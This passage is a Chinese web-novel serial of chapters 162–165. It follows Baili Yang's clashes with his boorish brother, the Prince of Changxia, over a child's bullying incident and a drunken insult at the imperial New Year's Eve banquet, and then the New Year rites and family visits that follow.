长夏王向来荒唐好色,他与王妃只诞育了一女,与其他的莺莺燕燕生了十几个儿女,其中最宠的就是这个与宠妾所生的四郎。据闻他还有立此子为王世子的想法,但他也不算完全没有脑子,请立王世子的折子恐怕前脚上了皇帝的御案,后脚就能被皇帝下旨申饬骂得狗血淋头。不过这儿子在长夏国虽然没有王世子的名分,但过得日子比王世子也不差多少了。 想也知道,以长夏王的德行,他宠出来的儿子即便没有十分肖父,也有三、四分了。而事实也是如此,他这儿子被他养出了一副骄横跋扈的霸王性子。这次阿荧受的委屈也是源于这位长夏王之子。 他从宣室殿一路踢踢踏踏出来之后,迎面撞上了阿荧与八皇子。八皇子辈分上是阿荧的小叔叔,但两个小孩年纪差不多,自小便是一道玩的。这次百里漾从江都给阿荧又带回来几个布偶,阿荧便约了八皇子一道玩耍。中途两个小孩碰上了同样年纪相仿的长夏王家的四郎,四郎便指着他们俩要他们陪他一起玩。 阿荧和八皇子从来没有见过这个堂兄/侄子,但早就被长辈告知过近来宫里会进来一些他们之前没怎么见过的孩子,那些都是他们的堂兄弟妹/侄子侄女,他们若是遇见了要有礼数,要敬爱兄弟姊妹/爱护子侄。两个小孩都是乖巧的孩子,将父母长辈的教导记着了。 这次遇到了一个没见过的,又听身边伺候的宫侍介绍说是四叔家/四哥家的孩子,即便有点不太高兴长夏王家的四郎说话的语气,但还是同意一起玩了。 三个小孩一起玩,旁边还有宫侍看着,按理说不会出什么事的,但问题是长夏王家的四郎被宠出了一个霸蛮不讲理的性子,从一开始他就要指挥阿荧和八皇子,让他们听他的话,不然就要惩罚他们。 太子是事后听随身伺候阿荧的东宫宫侍禀报当时的情况的,宫侍知道太子的脾气,不敢多说别的,只将当时的情况清清楚楚地如实说来。 从一开始,长夏王家的四郎对着阿荧和八皇子就是一副颐指气使的蛮横霸道姿态,阿荧和八皇子从来都没有见过这么讨厌的人,没过多久就不想和他玩了。两个小孩要走,长夏王家的四郎一见他们竟然不跟自己玩了,脾气上来,不让他们走。阿荧才不理这个讨厌鬼,拉着八皇子就要走。 转身之际,谁都没有想到长夏王家的四郎突然冲上来推了阿荧一把,还要抢阿荧手里的熊猫布偶,八皇子愣了一下上来阻拦,结果也被他推了一把。这个突如其来的发展把周围的宫侍都吓得不行,赶紧拉开他们。这三个不是太子之女就是皇子皇孙,宫侍哪里敢再让他们凑在一起,若是再起冲突有个万一,他们一万个脑袋都不够砍的,纷纷带着人走了。 “阿荧和小八可有受伤?”百里漾眉头已经紧紧皱起来了,担忧问道。 太子:“阿荧手上擦破了点皮,小八手崴了一下,太医看过说没有什么大碍。”他脸色有些沉,一看就是为此事不高兴。 百里漾也气,“老四是怎么教儿子的。”他固然不喜长夏王家的四郎的作为,但才几岁的孩子,长成这个德行,长夏王难辞其咎。想到前年这厮醉酒当街纵马,言辞还对椒房不敬,加上今日这桩事情,他对长夏王更多了几分厌恶- 作者有话说:更新啦,求评论[可怜] 第162章 长夏王 “哼, 郡主有什么了不起的。你爹就是个病秧子,活不了多久的,到时候你就惨兮兮的了。” 当禀报的宫侍将长夏王家的四郎推到阿荧和八皇子后叉腰得意洋洋说出的话复述出来, 百里漾猛一拍桌子,震得手边的茶水都翻洒出来,目光瞬间冷厉无比,盯着宫侍确认,“他当真是这么说的?” “回五王, 奴婢绝不敢错漏一字。”宫侍跪下道。 “百里涌简直欺人太甚, 他是打量着我们兄弟好性么?!”百里漾又是一拳砸在桌面上, 震得整张小桌都有些移位了。 一个五六岁的孩子说出这种话,必然不会是出自他自己形成的认知, 必须得是亲近之人在他面前说过类似的话,而且还是说了不止一次才能成的。这个人除了长夏王还会有谁?他竟不止一次在私底下咒太子早死, 其心可诛! 长夏王简直该死,他背地里咒太子死, 连带着他的儿子也跑来欺负阿荧。这事绝不能随随便便就过去了。 “阿兄, 此事如今有谁知晓?”气归气, 但此事要如何如何处理也得有个章程。百里漾暂时将气顺下去,旁边的宫侍上前收拾掉他面前被打翻的茶水,重新换上了一杯。 事情发生时除了阿荧与八皇子以及长夏王的四子,在场的都是跟着伺候的宫侍,阿荧这边是东宫的人,八皇子身边有刘妃宫里的人,长夏王四子这边跟着的也是在宣室殿里伺候的人。 太子知道了这事,八皇子回去也会与刘妃说,长夏王估计也会知道自己儿子闯了祸, 剩下的就是皇帝会不会知道这件事了,若是知道了,会知道多少? 一个人如何看待一件事,很大程度上取决于他对事情的全貌知道多少。 就比如这件事情,若是没有前面的那句话,这事不过就是三个小孩之间闹了点不愉快罢了,皇帝顶多是觉得长夏王不会教儿子致使其四子过于骄横、不敬长辈,对长夏王骂一顿,最后也不会怎么放在心上。可若是有了那句话,性质就完全不同了。太子是国之储副,是君,而长夏王是臣,臣子在背地里当着儿子的面诅咒君王要死,是大不敬之罪。 百里漾出京就封多年,已不如太子了解宫内尤其是宣室殿那边的情况。能在皇帝身边伺候的宫侍不会不知道长夏王四子骂出的那句话意味着什么的。也正因为知道,也会因此恐慌。 长夏王不会主动让皇帝知道这件事情,他没有那个胆。东宫这边也不能主动拿着这件事情跑到皇帝面前要他去惩治另外一个儿子,刘妃那边不愿意掺和进东宫与已封王的成年皇子之间的斗争也不会主动去说。那么皇帝唯一可能知道的途径就是宣室殿的宫侍的禀报了。 那些宫侍敢不敢说,什么时候说?这都是问题。 “这事宣室殿的人不敢瞒着陛下,但今日是除夕,即便知道恐怕也得是之后的事情了。”太子略略思索后说道。 除夕后面接着正旦,都是一年之中尤为喜庆的日子,没人想在这么高兴的日子里让皇帝不开心。 百里漾也知道这个道理,看来这个气他们要暂时忍上一段时间了。 想想还真是令人格外不爽啊。 “不说这些令人不高兴的事了。”太子换了一个话题,问道,“你们是从阿娘那过来的?” “是,越国姑母她们几个也在。”百里漾说起这个脸上难免有了几分强颜欢笑,“离开时,阿娘与她们聊得很是开心。” 太子一听是越国长公主几人聚在椒房殿,再看弟弟这副怎么笑怎么勉强的模样,猜也猜得出来百里漾在椒房殿遭遇了什么。 可在这点上,太子是站皇后阿娘那边的,对百里漾说道:“你成婚也有些时日了,尽快生个孩子出来,阿娘阿爹他们都会很高兴的。” “嗯,阿兄我知道的。”面对皇后阿娘与越国长公主等人,百里漾能够顾左右而言他不接茬,但是面对消瘦孱弱的太子长兄他却不能回避这个问题,只能点头应是。 太子见他应下了,在此事上就没有多说,转而提起了榷场之事,夸赞百里漾做得好,又道:“离渊之患暂解,边境少说也能安生十年,陛下不久前已将定国公召回湛京。” 百里漾点头,说道:“入京后我与王妃登门拜访了定国公,之后王妃还回去小住了几日。” 定国公被召回京,几乎整个湛京都在关注着定国公府的动向。但定国公似乎是与家人聚少离多日久,回到湛京之后基本都在家中休养、陪伴家人,亦不参与任何宴会,送到府上的拜贴邀约也多是拒了的,只有偶尔几个老交情上门叙旧,再不然就是入宫陪伴皇帝下下棋、说说话。 如此做派,让多少人想见而不得见。 百里漾明白太子的意思,别人想攀关系、走路子的肱骨之臣是他的岳丈,私底下定安王等人不知道如何眼红,这是提醒他要好好维护好这份关系情谊。 “自家人,多走动些是好的。”太子轻轻颔首道。 两人又说了些话,百里漾关心起了太子的身体。太子如今给他的感觉似乎是比以往精神多了,可却是比之前还要消瘦了些。加上近年来皇帝将更多的政务交由东宫处置,太子即便不需要事事亲力亲为,但也必然会比以前更为忙碌,百里漾担心长此以往太子的身体会因此透支而撑不住。 难道就没有什么办法解决这个问题么?可就当下来说,还真没有。 皇帝将国事托付给太子是对太子的信赖和倚重,更是放权东宫的一种体现。这份被皇帝交到太子手里的权力是不能被推拒出去的,不管是出于什么原因。当下的情况,推出了,只会加重大臣们对东宫体弱、不堪重担的顾虑,有顾虑就会产生摇摆,等于是直接给定安王等人机会。 无解。 百里漾身为外封的藩王帮不上忙,他实在是担心太子的身体。 太子看着为他真切担忧的百里漾,唇角扬起微笑,宽慰弟弟,“五郎不必担心。前段时间为我诊治的太医换了一中药方,很有奇效,我感觉身子比以往轻松了不少。东宫的事务再不济还有你阿姐帮衬着,还能应付得过去。倒是你在外要看顾好自己。” 太子都这般说了,百里漾只得暂时压下心中的担忧。 不多时,颜漪领着换洗擦药后的阿荧回来了。小姑娘已经没有了之前的生气与委屈,看来是被小叔母彻底哄好了。 “不难受了?”太子招手将阿荧叫到身边,小心且心疼地“呼呼”女儿的伤口,问她还疼么? 阿荧年纪小,在宫中又是被宠着长大的,鲜少受过今日这样的委屈,听到父亲温柔询问,下意识委屈又涌上来了,但她那一阵情绪已经过去了,软软回答,“不难受也不疼了,阿荧不要同他一起玩了。” “不会。”太子对着女儿依旧温情,只是眼底却潜藏着一股冷厉之色。他想阿荧保证,“他不会再敢来欺负阿荧了。” “嗯,阿荧相信阿爹。”阿荧点着小脑袋,对父亲是满满的信任和依赖。 太子摸摸女儿头顶的软发,告诉她不要自己将被欺负的事情告诉皇爷爷,若是他问起来再说。阿荧不明白问什么,但她乖巧地应下了。 颜漪不知道发生了什么事情,看向百里漾。百里漾则是以眼神表示随后再告诉她。 眼看着除夕宴开宴的时辰近了,太子让百里漾与颜漪先行过去,他之后再携妻女前往。百里漾点头,与颜漪出了东宫后,一路往设宴的宫殿过去,与王妃说了阿荧和八皇子与长夏王四子起冲突的事情。 “长夏王竟如此狂悖无礼、目无储君?!”颜漪听后秀眉蹙起,似是想不通长夏王怎么会做出如此蠢毒之事。 “他那厮自小便是如此,很有一番阴险心思,偏偏胆子又小。这么多年了非但一点长进没有,反而变本加厉了。”百里漾牵着王妃的手罩在宽大的袖袍之下,夫妻俩走在宫道上,彼此挨得很近,远看像极了在说悄悄话。 往设宴宫殿的路还有一段颇长的距离,他们慢慢走着,百里漾也给颜漪说自己与百里漾未封王就藩之前的一些事情。 百里漾与长夏王百里涌在皇嗣之中一个行五,一个行四,算起来年岁相差并不大,按理说是挺容易玩到一起的,然而事实却恰恰相反。大衍的皇子们在年纪尚小时皆是在各宫养着的,若不是一母同胞,在未到开蒙进学的年龄前,其余的彼此之间一年到头见面的次数基本与大衍每年的重大节庆日相等。 故而百里漾虽然体内的芯子与别的同龄小孩不一样,但孩童的身体条件并不能支撑他将自己的每一个兄弟姐妹小时候的模样记住甚至对得上号。也就是后面年岁增长,大家都长大了不少,蒙学之后见面的次数增多了,彼此才将对方记清楚身份。 高皇帝定下的规矩,皇嗣们在年满五岁后要正式开蒙进学,他老人家直接在宫中划出一座宫殿命名为“明德殿”,挑选博学有德之士入宫每日为皇嗣们讲学。百里漾过完五岁的生辰之后就开始了每天天不亮就要早起念书的生活。 那时的明德殿里入学的皇嗣挺多,除了太子已经站到朝堂上学习如何处理政务以及随淄川王就封不在湛京的淄川王世子百里泓,比百里漾年长的如百里澄等人都在- 作者有话说:更新啦。 第163章 除夕宫宴 百里漾进入明德殿上学那年正好是兴业元年, 年龄最大的是九岁的百里澄,年纪最小的就是将将五岁的百里漾。年龄差摆在那里,同时差的也是学习的进度。几个皇嗣虽然都在明德殿上学, 但按照不同的学习进度被分成了两拨,一拨是长公主澄与当时的二皇子湛、三皇子洪,一拨也是宜城公主、四皇子涌以及百里漾。 百里漾这拨拢共三个小豆丁,除开他自己,七岁的宜城公主是个爱美娇气的小女孩, 六岁多点的四皇子涌是个麻杆身材, 五岁的百里漾同他站在一起比他还要高壮一些。 人小芯大的百里漾本来对着两个小豆丁的异母兄姊没有什么特别的观感, 大家都是一起来上“小学”的,首要任务是完成课业, 闲暇之余为了符合孩童的人设,与他们凑在一起也是可以玩一玩小游戏的。 可孩童与孩童是不一样的, 尤其是天家出来的孩子。与娇气还带着点小娇蛮的宜城公主不同,四皇子涌从一开始给百里漾的感觉就不是很好。 四皇子涌看人的时候一双眼睛直勾勾地盯着你看, 眼里黑黝黝一片, 面上还带笑, 却是令人不大舒服。有时候他那眼睛还滴溜溜地转,不知道在想些什么。 一开始百里漾还觉得是他自己感觉错了,毕竟四皇子涌也只是一个六岁多点的孩子,他可能面相如此,才容易给人一种奇怪的感觉。可后面发生的事情才让百里漾知道什么是相由心生。 刚开始出事的是他的笔墨纸砚之类的用具,他转个身去找长姐的功夫回来就发现笔断成了两截,有时候是砚台摔坏了一角,到最后乃至他新完成的课后作业都沾上了一片很大的墨渍,致使那份课后作业直接不能用了, 需要重写。 “恐怕现在长夏王自己回想起来也会觉得当初做下的事情很蠢吧。”百里漾带着点嘲讽说道。 当时在明德殿上学的人就那么些,百里漾所在的那个小学堂更是只有几个小豆丁,彼此都有伺候的宫侍,谁有那胆子敢动皇嗣的东西,更别提损坏了。百里漾试探过宜城公主一次,那就是娇气的学渣,每日跟太傅布置的课业拼搏就已经要用光她的脑容量了,她干不出这样的事情来。剩下的就只有四皇子涌了。 这嫌疑人实在是太好确定了。 锁定了目标四皇子涌之后,百里漾并没有直接找上门去质问他,想也知道当面问他不会承认。捉贼要拿脏,百里漾故意装出不知道是谁干的坏事,再次将皇后阿娘为他添置的贡笔明晃晃地放在桌面上,再次离开,实际上并没有走远,然后掐着时间回来,正好将干坏事的四皇子涌撞了个正着。 人脏并获,辩无可辩。 百里漾道:“这事后来被太傅知道了,太傅将长夏王重重责罚,之后更是将此事报到陛下那里去了。不出意外的,长夏王也被陛下叫去狠狠斥责了一回。” 太傅肩负教育皇嗣的职责,并不只是将皇嗣教导成才就足够了,学识只是一方面,德行才是重中之重。如今四皇子涌小小年纪因为嫉恨弟弟而背地里行如此小气下作之事,真论起来太傅免不了一个教导失职之责,与其等着皇帝问罪,不如自己主动向皇帝请罪。 那个时候的长夏王仅仅六岁多一点,即便做错了事情,但还是有改正的机会的,皇帝不会因此放弃这个儿子,太傅也不会因为而忽视轻慢这个学生。在长夏王被罚了一顿手板,再抄了十篇有关君子德行的文章之后,这件事情就算是过去了。 可从那之后,长夏王开始不装了,或许应该说是不再掩饰他对百里漾的嫉恨。可他干坏事已经被收拾过一回了,之后再有什么坏心思也只是敢做一些伤害性不大却实在十足恶心人的蠢毒事。到后面年岁又长了一些,他学会了在人前掩饰自己的真实面孔,能在皇帝面前装一装样子了。 百里漾猜测那时候他应该是得到了自己年满十二就会如同前面的定安王一样封王就藩,为了得到一个好一点的封国,他可不得装出一副自己已经长大懂事的姿态给陛下看,博得陛下的喜欢,等封王就藩后,他在封国里说一不二,只是想做什么就做什么。 就长夏王这狗都嫌弃的德行,在一众兄弟姊妹里,百里漾最看不上的就是他,这份不喜还要更甚于定安王。百里漾不喜定安王更多的是基于权力之争,这是立场问题。天下至尊的权力宝座,身为皇子,没有点心思是不可能的,想争也是无可厚非。可长夏王就是纯纯的招人恶心厌恶了,他的行事百里漾是没有一点看得上的。 在颜漪面前,百里漾对长夏王的厌恶溢于言表。想想长夏王一直以来的做派,确实让人很难不嫌弃鄙夷。 “这次不狠狠收拾他一回,否则他就真以为我们是好欺负的。”百里漾目有厉色,冷声道。 颜漪:“长夏王其行可鄙,目无亲长,忤逆犯上,合该狠狠吃一记教训。” “且先让他高兴几日。” …… 除夕宫宴之上,殿中坐满了百里氏之人。皇帝看着底下的儿女齐聚,很是高兴,浅酌了几杯。定安王、长夏王等带来的孩子轮流被皇帝招到身边说话,但他身边阿荧一直都在。看着孙辈一年比一年大了,皇帝免不了催起了长女的婚事。如今连最小的女儿汝阳公主都要开始相看驸马了,早就年满二十的长女却依旧未出阁。 皇帝也只是例行催一下。这么些年,长女的主意是越来越大了,他催婚的话长女已经不怎么听了。皇后也惦记着女儿的婚事,也在旁边跟着说了几句。不拘驸马的家世有多好,但品貌要好、知道体贴人,当然最重要的一点是百里澄自己喜欢。 每年的除夕宫宴上,对百里澄催婚的话题总是少不了,但每次得到的都是百里澄“缘分未到”、“未有合适之人”的推脱之语。日子久了,帝后对百里澄婚事的催促力度已经一年不如一年了,主要是催了长女也不听他们的呀。两人也不愿意强硬指一个她不喜欢的驸马给她,否则到时候成怨偶了,看着也是闹心。 “劳父皇母后为女儿操心,我会上心的。”百里澄的答复与往年差不多,依旧是没有明确说应下此事,弄得帝后又是一叹。但没有在这个问题上再说下去,这让一些想对此说些什么的欲言又止,最终选择识趣地闭嘴。 催完了长女的婚事,免不了就要催百里漾和颜漪生孩子了。皇帝看向二人,面上笑问道:“也不知朕与皇后明年能不能抱到你们的孩子?” 这么多人都看着,百里漾头皮有点发麻了,他只好起身表示自己争取让帝后得偿所愿,引得殿中扬起了一片和善又带着点调侃的笑声。皇帝对百里漾的表态很是满意,不像长女净是气他,又夸了他在江都做出的功绩,引得附和之人纷纷称赞百里漾。 在这一片称赞声之中,人人面上似乎都挂着笑容,就是不知道这笑容底下是真心还是假意,是嫉恨还是谩骂了。 因为百里漾态度良好,因此帝后没有在生孩子这个问题上说太多。百里漾暗暗松了一口气,坐回去与同食一桌的颜漪对视,给了她一个宽心的笑容。当百里漾以为这个事情就这么过去的时候,偏偏有人不长眼地上来找不自在。 宫宴过半,因是家宴,皇帝说了让众人无需拘束,众人渐渐散了拘谨,男子们多聚作一团,拎壶举盏畅饮,女子们则三五成群做一处,说说笑笑。 王妃已被长姐百里澄还有其他公主、王妃们拉去一边说话了,百里漾刚从淄川王那边回来,在他的劝酒攻势下喝得面色微醺,正打算喝杯清茶解解渴时,面前忽然凑上一个人,比人先到的是一股浓重熏人的酒气。 百里漾下意识地皱眉,抬眼便看到了拎着酒壶到近前的长夏王,“四王兄有何指教?” 他这是客套的说法,长夏王却是真不客气,他身子一歪把脑袋凑得更近了,面上露出不怀好意的猥琐笑容,“我还真有要指教你的地方。你年纪轻不懂,想要子嗣你就得请求那些在此道上精通的人,就比如我。” “四王兄你喝多了。”百里漾面色愈发冷了。 “不要害羞么,还是你不行?”长夏王跟听不懂人话似的,并没有把百里漾的冷脸当做一回事,嘴上说着让百里漾不要讳疾忌医的话,眼里却有恶意浮现,“孩子么,谁生不是生,这个女人生不出来,那就换一个,直到换到能生出来为止。” 长夏王是真觉得自己很有资格在百里漾面前说出这些话的,纵观如今的百里氏,有谁能像他一样膝下有那么多的子嗣。太子至今都生不出儿子,膝下只有一个丫头片子,宠得都快要上天了。百里漾与定国公的嫡长女成婚都快两年了,连个胆都下不出来,哪像他,到这个年纪的时候,儿子都有三个了。 太子生不出孩子,百里漾与太子一母同胞,说不定与太子一样都生不出孩子。没有子嗣后代的皇子,椒房所出又怎么样,大臣选椒房站位心里都要犹豫几分。在这点上,无论是椒房一脉还是百里洪他们谁都比不过他- 作者有话说:更新啦 第164章 长夏王妃 长夏王心中其实是存在一种隐秘的期许的。 太子素来孱弱, 膝下亦无子,若是连带着百里漾也无子,将来椒房一脉即便得了那个位子也是后继无人, 最终还是要从宗室里过继宗室子承继大统。他的儿子那么多,日后还会生出更多的儿子,为子嗣计,那时候怎么看都是他那一支的优势更大。他登不上的帝位,将来让他儿子坐上了, 未来他才是真正的赢家。 百里漾不知道长夏王心里竟然存着如此长远的想法, 即便知道了也少不得要嘲讽他痴人说梦。见过白日做梦的, 从来没有见过有人能将白日梦做的如此遥远。 “四王兄,你喝醉了。”百里漾面上亦是明晃晃的不悦, 他现在只想赶走这个满嘴喷粪跟个“嗡嗡嗡”没完的恶心人的绿头大苍蝇。 可惜,百里漾顾念着当下是除夕宫宴这样喜庆的场合并不想闹出不愉快之事影响大家共度佳节的心情, 也想要给长夏王留那么一点体面。 可这厮依旧听不懂人话,倾身过来想要凑得更近, 嘴里继续喷射恶臭言论, “王兄我是为了你好, 男人没有子嗣可是要被人耻笑的。我们百里氏的子孙怎么能惧内呢,转头我就送你十七八个美婢……” 越说越不像话了。 百里漾是彻底气笑了,他定定看着长夏王,也不说话,直将长夏王看得心里有点发怵。他哪里看不出来长夏王是又一次的借酒装疯,喝得满面通红装出一副醉醺醺的模样,实则眼底还藏着清明。前面长夏王诅咒太子早死、儿子欺负阿荧的账还没有算,他这会儿又冲上来犯贱,百里漾岂能忍他。 “老五, 四王兄我跟你说……”长夏王还想继续洋洋得意地“指点”百里漾,突然间眼前有什么东西一闪而过,他下意识地闭眼,下一瞬脸上就被泼了一杯温酒,酒水瞬间糊了他满脸,有些进到眼睛里,激得他的眼睛生疼。 “百里漾,你干什么!”长夏王当即大怒,这会儿也不装醉酒了,连忙用手抹掉脸上的酒水,随后气急败坏地怒指百里漾。 “四王兄,我说你喝醉了,只是帮你醒醒酒而已。”百里漾容色淡淡,眸光冷厉直射长夏王,“如何,眼下酒可醒了?” 两人这边闹出的动静不算大,可依旧是惊动了周围不少人,纷纷看过来。长夏王意识到周围人的目光聚集在他和百里漾身上,这会儿脑子总算是清醒了,反应过来第一时间往皇帝所在的方向看,发现皇帝在与淄川王等人说话,并没有主意到这边,心里松了一口气。 百里漾见状不由目露讽色。 这厮摆明知道自己做的事情恶心不占理,捅到皇帝那里必定是要挨训斥的。可他偏偏又要来发一下癫,就是为了来恶心百里漾一下,而百里漾也确实是被恶心到了。他以为百里漾会顾忌场合不与他这个醉酒之人计较,那他就想错了。 “你!很好,老五,你可真是好样的。”这句话是长夏王狠狠咬着牙说出的,仿佛齿间用力磨的不是他的牙,而是百里漾。他也不敢把事情闹到皇帝跟前,只能选择了忍气吞声,强压着怒火撂下一句狠话转身回到了自己的席位。 一场带着硝烟的小冲突就此消弭。 看到百里漾与长夏王起了冲突的人不少,可事发突然,大多人只看见长夏王脸上被泼了酒,并不清楚两人是因为什么起了冲突。眼看着江都王与长夏王只是争执了几句,显然是顾忌着场合并不想将事情闹大,他们这些人也不会自找没趣重新提起这事,但不少人却是将这两兄弟的冲突记在了心里。 “大王。”颜漪也被百里漾这边的动静惊了,回到百里漾身边,目有忧色。 百里漾安抚她说“无事”,表示长夏王那厮在他这里还讨不了什么便宜。长夏王满嘴喷粪的那些话他并不想让颜漪知道,知道了也是多了一个被恶心的人,没有必然。 “百里涌过来发生了疯?”百里澄亦走过来,她的话就很直接了。 百里漾冷哼,“再一次借酒装疯罢了。” 之所以说“再一次”,自然是因为长夏王是有“前科”的。 “想来长夏国的风水当真是养人,老四这德行是越发被养出来了。”百里澄手执着酒杯,品尝美酒,目光越过人群看向了坐在席位上气冲冲猛灌酒的长夏王,眸光很淡。 熟知她的人看到她这副模样就会知道有人很快就要倒霉了。 “看这样子,老四是不知道他儿子今日给他闯出什么祸来了。”百里漾说道。 若是知道,长夏王就不会有心情贱兮兮地过来挑衅了。甚至严格说起来,真正“闯祸”的人并不是长夏王四子,而是他自己。他的儿子不过是把他干的好事说出来了而已。 百里澄道:“老四这些年在长夏国真是越发不像话了,不吃点教训他就永远不知道长记性。”今日长夏王四子欺负阿荧和八皇子的事情她也知道了,子不教父之过,算账自然要算到长夏王头上。 百里漾一看长姐便知道她心中已经想好了如何找长夏王算账、给他一个难忘的教训了。他记得,长夏王自去年被削减封地之后一直想法设法地想要求陛下给他重新赐封回来,这一年多收敛了不少过往的荒唐行径,这次上京更是将儿女带来以博取陛下的欢心,以此求得陛下心软。 皇帝也确实是有点心软了,再看长夏王这一年多也老实了不少,觉得四儿子经过上一回应该是吃到教训知道改过了,准备着后面下旨将前面削减的那一个郡重新划归长夏国。 长夏王自己怕是也察觉到了皇帝态度的松动,以他的德性,事没有成就开始飘了。恐怕方才过来跑到百里漾面前借酒装疯也有这一方面的原因。 打蛇要打七寸。似长夏王这样的烂人浑人,你不一次性把他打得痛彻心扉,他下一次还是敢出来犯贱。这次打了,他应当能够老实很长一段时间。 长夏王这次别想把封地要回去了。 长夏王过来发疯犯贱只是一个小插曲,他还不值得百里漾几人因为他坏了今日除夕夜宴的好心情。他们没怎么把长夏王放在心上,可事情过后没多久,长夏王妃过来为长夏王的行为致歉,请百里漾不要同长夏王一般见识。 百里漾当时并没有接这话,长夏王妃大概也知道他的态度了,并没有再多说什么。他看跟在长夏王妃身边紧紧靠着母亲的小姑娘可爱,给了她两块糖糕,小姑娘明显有些害怕,在母亲的鼓励下还是鼓起勇气向百里漾说了一声“谢谢”,半边身子马上又缩到母亲身后了。 除夕宫宴行至月上中天,筵席已散,众人也纷纷告辞离宫。 向帝后以及太子一家三口告别后,百里漾与颜漪、百里澄结伴出宫。夜里的风还是冷的,百里漾怕王妃受冻,握着她的手藏进了宽大暖和的袖袍里,两人因此挨得很近。他们这番亲密的举动逃不过百里澄的眼睛,对着二人露出了一个会心的笑。 百里漾与颜漪皆有种被撞破了亲密的羞涩,但面对的是百里澄,那感觉还好,让她看去便看去了。 行至宫门外,夫妻俩与百里澄分别,登上各自宅邸的车驾,在同行了一段路之后再分开。 “王妃,你在想什么?”车驾里,百里漾被晃得有点头晕,嘴巴还有点渴,正要倒一杯水来喝,却见颜漪似乎在出神,不由问道。 “我在想长夏王妃。”颜漪回道。 “四嫂?”百里漾想起了代长夏王过来致歉的长夏王妃,不由感叹道,“四嫂做这个长夏王妃也是可惜了。” 长夏王妃宁氏是当下很典型的端庄得体的名门闺秀,宁氏也是颇有名望的存在。当年长夏王已至婚龄,皇帝念及长夏王母族卑弱的出身以及已显出些许的荒唐放诞地行迹,特意为他挑了这么一位知礼识大体的王妃,希望能够规正长夏王。 然而长夏王并没有体谅皇帝的苦心,一方面嫌弃宁氏不如其他兄弟的王妃的出身高,一方面又觉得宁氏无趣死板,张口闭口就是不让他做这也不让他做那,早早就对宁氏生厌,将她冷落。在长夏国中更是变本加厉,宠信旁的侧室媵妾,若非碍于宁氏是皇帝下旨册封的长夏王妃,几乎要视她于无物。 长夏王妃在长夏国的日子并不怎么好过,她这王妃在所有的王妃之中是最受气的。她只诞育了一女,长夏王对这个女儿也不看重。方才也见到了,小姑娘小小一个,性子养得敏感怯弱,长夏王真是不干人事。 百里漾真心觉得宁氏配长夏王真是一朵鲜花插到了牛粪上,偏偏长夏王还要时不时抽风一下,连累长夏王妃。就此这一次,长夏王这厮在前头得罪人,长夏王妃不得不在后头跑来致歉。她不是愿不愿来的问题,而是不得不来。说到底她与长夏王夫妻一体,是绑定在一起的。长夏王被收拾了,她多少也会受损。 “百里涌这厮怕是只有挂在墙上的时候才会是一个合格的丈夫与父亲。”百里漾无不嘲讽说道。 “挂在墙上?”颜漪疑惑,“大王这是何意?”她总觉得这挂在墙上对于长夏王来说估计不是一件好事。 一不小心又把前世的用语带出来了。 王妃理解不了很正常。毕竟这个时代人死了寻常人家更多都是立个牌位放在家里,遗像什么的,对于王侯以上的会有,但那大多都是挂在或是收在陵寝里的。 百里漾解释了一下,“挂在墙上就约莫是、等于死了。” 这形容…… 颜漪看向百里漾,百里漾唯有微笑。不管怎么说,他也没有说错就是了- 作者有话说:更新啦。 第165章 登顶之心 除夕之后紧接着就是元日。与普通百姓过年不同, 天家过年并非是简简单单过个年仅此而已,往往还伴随着各种重大的仪式。 参与这些仪式的人上至皇帝下至臣子小吏皆是忙碌不已,百里漾亦是其中的一员。这是百里漾作为外封的藩王头一次留京过年。与上一次在湛京过年的皇子身份不同, 因为身份的转变,他要参与的各种祭祀仪式无疑变多了,在其中担任的角色也大不一样了。 正月初一是为元日,朝中要举行元正朝贺。作为藩王,百里漾需要穿戴冕服与其他藩王、文武大臣以及外邦使节于皇宫正殿向皇帝行朝拜祝贺之礼。元正大朝会之后便是赐宴, 期间伴有丝竹舞乐助兴。至初二, 皇帝领百里氏族人拜谒太庙, 由宗正卿荣王为主引,祭祀百里氏先祖。至初三一直到后面的初五, 还有祭祀天地的祈谷礼等等。 这些祭祀仪式因为意义重大都是不能免的,可考虑到皇帝的身体撑不住如此繁重的仪式, 太子亦是如此,因此各种祭祀仪式在有需要皇帝或是太子出面时尽量做了删减, 可其余参与之人却是需要一步不差地完成整个祭祀仪式。百里漾也因此从初一连轴转到了初五, 这才开始慢慢闲下来, 将更多的时间投入到走亲访友之中。 是的,过年走亲访友是必然要做的,百里漾自己也有一大堆的亲戚。自己百里氏这边的,如越国长公主、淄川王、荣王等长辈是要亲自携王妃登门拜访的,舅舅家崔大将军府也是要去的;另外王妃那边的亲戚也不能忽略的,定国公府是王妃的娘家,必然是第一个要去的。 这一圈亲戚走下来,百里漾发现自己的亲戚还真的是挺多的。 “大王累了么?” 回江都王宅的马车上,百里漾说自己头疼躺倒在颜漪的腿上, 拉着她的手放在脑袋上给他舒缓一下。颜漪看着似乎越来越有无奈气质的百里漾,有时候莫名有种养了只娇气大猫的感觉。无奈看着躺在她腿上哼唧的人,只好遂了他的心意给他按揉起来。 他们刚从定国公府吃完晚宴出来,宴上百里漾不可避免地喝了些酒,好在定国公父子们并不愿意将女婿/妹婿灌得醉醺醺的回去,否则最后要照顾醉鬼的人还不是他们的女儿/妹妹。 “还好,岳父与两位兄长比淄川王叔和善多了。”百里漾舒服地闭着眼睛,感觉自己被王妃身上香香的气味包裹着,嘴角弯起,显得极是松快愉悦。 颜漪听他拿淄川王来对比,一副心有余悸的夸张模样,忍不住想笑,看来他还真是有点怕了那位嗜酒如命的淄川王了。她捏了捏百里漾的耳朵,轻笑道:“淄川王叔哪有你说的那般可怕,上一次你只是恰好撞上了而已。这次上门拜访,不也是浅尝辄止了么。” 刚回湛京那次的登门拜访正好撞上了禁酒时间太长快要被憋疯的淄川王,事实上也并不是只有百里漾一个人被淄川王用酒“狂轰乱炸”了一回,如定安王、长夏王、山阳王这几个子侄,贺驸马这个侄女婿还有骆恒这个外甥也没能逃过去。 那几日连着狂喝了几场大酒的淄川王不出意外地被淄川王妃骂了一通,被勒令此后的宴请不许他喝酒超过一壶,这才使得淄川王变得“文雅”起来了。因此百里漾这回往淄川王宅去给王叔拜年,万幸地只喝了个微醺出来。 “这过个年,感觉有赴不完的宴,喝不完的酒。”百里漾将脑袋埋到了颜漪的小腹位置,嘟囔着说道。 “湛京人多,热闹,自然不比在江都。”颜漪摸着百里漾的脑袋说道。 百里漾是她见过的极少有的不喜欢酒的男子,她自小见过许多喝醉后就开始胡言乱语、举止或张狂或怪诞的人,与他们清醒时的样子言行相悖、大相径庭,让她对酒是在喜欢不起来。好在百里漾在这一点上也与她不谋而合,实在令人喜欢。 